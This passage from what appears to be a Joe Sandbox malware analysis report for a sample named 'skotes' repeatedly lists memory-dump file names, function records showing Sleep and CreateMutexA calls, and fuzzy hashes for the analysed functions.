Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 2b4f0377975ab64961ee61567c15a412e4c96d1cb99b57fd850f98972b90033c
Instruction ID: 0d9deb23ee2755e61359b97fdb309034d5dcb63ae6bb32b6b6dd2fe6a75e0593
Opcode Fuzzy Hash: 2b4f0377975ab64961ee61567c15a412e4c96d1cb99b57fd850f98972b90033c
Instruction Fuzzy Hash: 48E08C30001918AFCF25BB18E859A987B2AEB12749F100814FD1896222CB25ED81CE80

Function 005F9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 6d47f9ea9dae76b5e54205e46cc58895163b4d69f7593520ac8be458273e81ba
Instruction ID: e613b103c3cdb8c0050e568f520909004f245d483a98bd72d72bc066b8b5068f
Opcode Fuzzy Hash: 6d47f9ea9dae76b5e54205e46cc58895163b4d69f7593520ac8be458273e81ba
Instruction Fuzzy Hash: 98313B716446088BEB18EB78DE89B7EBF63FFC1314F248258E118973D6C77959808752

Function 005F9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: cd082f3bc764d3590c8052c2774a02527dcb090cb77f0f4c2eacba6df17245f2
Instruction ID: 9ee41d6cc9c776756c17dcef7bba2273e95e7efd95bbfa8bc2d4cdeba3e65032
Opcode Fuzzy Hash: cd082f3bc764d3590c8052c2774a02527dcb090cb77f0f4c2eacba6df17245f2
Instruction Fuzzy Hash: F3314A716002088BEB18EB78DD897BDBB66FFC5314F204619E118D73D5DB7A59808712

Function 005FA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 42b7755de1f23581fac83a2ebd5e6cfb566fcd5041d82bdea18286c6467497db
Instruction ID: 339e840d0e6288385cb6adab4289d968d23cf360c67adf3330f31beff4abe02f
Opcode Fuzzy Hash: 42b7755de1f23581fac83a2ebd5e6cfb566fcd5041d82bdea18286c6467497db
Instruction Fuzzy Hash: C63126B16502089BEB18DB78DE89B7DBB77EF81314F204618E118973D5CB7A9980C717

Function 005FA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 3811f1e3f75f231393adc326f05c8ae3fe135182dfa24fd620350a159e054d96
Instruction ID: 3ec4589367884787a2ef3fbb3250abc83845320382c43c99e40ef38b971f7547
Opcode Fuzzy Hash: 3811f1e3f75f231393adc326f05c8ae3fe135182dfa24fd620350a159e054d96
Instruction Fuzzy Hash: 7D3128B17402089BEB18EBB8DDC9B7DBB66FF85314F204618E118973D5C77A59808713

Function 005FA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
